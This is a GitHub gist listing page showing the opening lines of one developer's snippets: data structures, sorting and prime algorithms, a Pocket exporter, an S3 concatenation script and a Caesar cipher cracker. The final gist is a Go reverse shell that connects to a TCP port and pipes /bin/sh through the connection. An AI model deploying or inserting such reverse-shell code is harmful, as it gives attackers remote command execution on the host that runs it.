Skip to content

Instantly share code, notes, and snippets.

@jasonrdsouza
jasonrdsouza / heap.py
Created November 8, 2016 03:35
Simple Heap Implementation
class Heap:
def __init__(self):
self.data = []
self.length = 0
def push(self, val):
if len(self.data) <= self.length: # need to expand the array
self.data.append(val)
else:
self.data[self.length] = val
@jasonrdsouza
jasonrdsouza / pocket_exporter.py
Last active January 31, 2024 19:13
Export archived article data from Pocket
'''This script can be used to export data from Pocket (getpocket.com)
Uses include migrating to a different "read it later" service, saving
specific articles to another service, backing up your reading history,
and more.
Currently it can be used to export links and metadata for archived
articles with a given tag, which are more recent than a given timestamp.
An example use case is to export all articles you have tagged as
"to-export", which are newer than 10 days old. The timestamp functionality
@jasonrdsouza
jasonrdsouza / combineS3Files.py
Last active June 3, 2023 17:22
Python script to efficiently concatenate S3 files
'''
This script performs efficient concatenation of files stored in S3. Given a
folder, output location, and optional suffix, all files with the given suffix
will be concatenated into one file stored in the output location.
Concatenation is performed within S3 when possible, falling back to local
operations when necessary.
Run `python combineS3Files.py -h` for more info.
'''
@jasonrdsouza
jasonrdsouza / caesar_cipher_decrypt.py
Last active August 29, 2015 14:24
Caesar Cipher Decryption Script
"""
Code to crack Google Security Key Challenge #3
Accompanying blog post: http://www.jasondsouza.org/post/caesar-cipher-decryption/
@author: Jason Dsouza
"""
from string import punctuation
ALPHABET = "abcdefghijklmnopqrstuvwxyz"
KEY_SPACE = len(ALPHABET)
@jasonrdsouza
jasonrdsouza / data_streaming_links.md
Created April 1, 2015 18:35
Data Streaming Links
@jasonrdsouza
jasonrdsouza / huffman.py
Last active July 13, 2022 00:33
Simple Huffman coding implementation
from queue import PriorityQueue
from collections import Counter
from dataclasses import dataclass, field
from typing import Any
@dataclass(order=True)
class Node:
count: int
value: Any=field(compare=False)
@jasonrdsouza
jasonrdsouza / sorts.go
Last active August 27, 2017 00:40
Sorts in Go
// Code accompanying blog post: http://www.jasondsouza.org/post/sorting/
//
// Package sorts provides implementations of various comparison based sorting algorithms.
// All the sorts work in place, and expect the input data to satisfy the
// sort.Interface interface from the standard library.
// In addition to the collection data to be sorted, they take a start and end index
// (a and b respectively), which cause the slice [a, b) of the collection to be
// sorted. Specifying a = 0 and b = len(collection) will sort the entire collection.
package sorts
### Various function implementations to calculate a list of prime numbers
def naive_primes(n):
"""Naively find all prime numbers up to n"""
primes = []
if n < 2:
# 1 is not a prime number
return primes
for i in xrange(2,n):
is_prime = True
@jasonrdsouza
jasonrdsouza / sorts.py
Created January 12, 2015 05:18
Simple Sorts in Python
TEST_ARRAY1 = [2,5,1,3,4]
def bubblesort(unordered_list):
"""
Bubble the largest element to the right
Complexity:
- Best Case = O(n)
- Worst Case = O(n^2)
"""
@jasonrdsouza
jasonrdsouza / reverse-shell.go
Created August 13, 2014 02:41
Golang Reverse Shell
package main
import "os/exec"
import "net"
func main() {
c, _ := net.Dial("tcp", "127.0.0.1:1337")
cmd := exec.Command("/bin/sh")
cmd.Stdin = c
cmd.Stdout = c